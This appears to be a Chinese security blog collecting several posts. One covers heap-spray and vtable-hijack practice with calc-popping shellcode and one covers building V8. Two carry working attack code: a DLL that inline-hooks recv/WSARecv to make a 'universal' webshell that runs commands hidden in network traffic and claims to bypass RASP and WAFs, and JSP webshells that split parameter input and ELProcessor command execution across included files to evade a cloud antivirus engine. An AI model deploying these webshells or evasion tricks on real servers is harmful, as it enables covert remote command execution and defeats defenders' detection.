【RealPwn-2】 堆喷练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的,比如 0x900x0D 等不影响shellcode 执行的指令。

实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

v

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间,程序跳到那会 crash。

调试

开始调吧,还是 VS2019 + x32dbg 。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷,申请大量内存,256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

1

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点,继续。

2

3

这里模拟了堆喷的过程,申请到的 0x0C0C0C0Cchunk\[158\] 里。

可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 0x0C0C0C0C ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

4

5

现在已经 slides 和 shellcode 都写上去了。

继续,就到调用虚函数了,顺利的话就会弹出计算器。

注意,malloc 的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

6

References

【RealPwn-1】 虚函数表劫持练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

虚函数表

C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。

每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

vft.png

特性

总结下虚函数表的特性:

  1. 虚函数表在 .data 段,仅可读,无法修改

  2. 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。

  3. 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,

调试

下面调试一下,环境 VS2019 + x32dbg:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}

image-20210702163648268

x32dbg 里看内存

image-20210702163707394

0x014FD028 是 vptr ,指向虚函数表。

image-20210702163900420

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

image-20210702164047943

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

image-20210702164627019

试验一下。

要在内存中伪造出一个虚表,将对象的虚表指针指向它。

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

image-20210702175254591

0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020

image-20210702174543785

0x00535020 是 shellcode

image-20210702174636492

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

image-20210702173559882

应该就可以执行 shellcode 了。

vtable-hijacking

References

C++虚函数调用攻防战

利用 Hook 技术打造通用的 Webshell

本文首发 https://xz.aliyun.com/t/9774

标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。

原理

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

实现

具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。

InstallHook

安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数,程序在执行 recv 时,会先进入这个函数。

在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCKEND_BLOCK块,有的话就取出块之间的命令,执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return rc;
}

这里还 hook 了 WSARecv ,是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecvWSASend 等带 WSA 前缀的,加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口,调用安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果

Java

java

Python

python

在 Win10 上编译 V8 引擎

记录一下编译 V8 踩坑的过程(以下全程需要科学上网,我是配了 Proxifier)

过程

  1. 先安装 VisualStudio 2019,略详细过程

  2. clone 开发环境

    1
    2
    3
    cd /d d:\

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools
  3. 设置环境变量

    1
    2
    set DEPOT_TOOLS_WIN_TOOLCHAIN = 0
    set GYP_MSVS_VERSION = 2019 # 或者 2017
  4. clone v8 仓库,完整的大概 700M

    1
    fetch v8
  5. 同步第三方组件,会花一点时间

    1
    gclient sync
  6. 生成编译配置

    1
    python tools/dev/v8gen.py ia32.debug
  7. 编译,大概 10 分钟

    1
    ninja -C .\out.gn\ia32.debug d8 -j12
  8. 完成

问题

提示缺少 LASTCHANGE

1
python .\build\util\lastchange.py .\build\util\LASTCHANGE

找不到 clang-cl.exe

1
python .\tools\clang\scripts\update.py

JSP免杀 —— 绕过智能AI?

玩某云的“卷完计划”想到的姿势,分享一下。

某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。

测下来查杀率确实高,只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头

绕过

开始讲绕过。

首先是命令执行的sink,直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 new ProcessBuilder() ,或者反射构造 ProcessImpl 实例,还不会被杀,(用法参考三梦的文章)。

构造好跳板,当调用 start() 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。

说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(

研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。

include

下面用到 jsp 的一个特性 include 指令。

include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。

我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。

举个例子

AB.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
String cmd = request.getParameter("cmd");
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。

拆分逻辑到 A.jsp B.jsp

A.jsp

1
2
3
<%
String cmd = request.getParameter("cmd");
%>

B.jsp ELProcessor.eval 执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@include file="A.jsp" %>
<html>
<body>
<%
ELProcessor processor = new ELProcessor();
Process process = (Process) processor.eval(
"\"\".getClass()" +
".forName(\"javax.script.ScriptEngineManager\")." +
"newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +
cmd + "']).start()\")");
InputStream inputStream = process.getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null) {
sb.append(line).append("\n");
}
response.getOutputStream().write(sb.toString().getBytes());
%>
</body>
</html>

A.jsp 只负责取参,看起来没有问题。

B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。

完全绕过。

|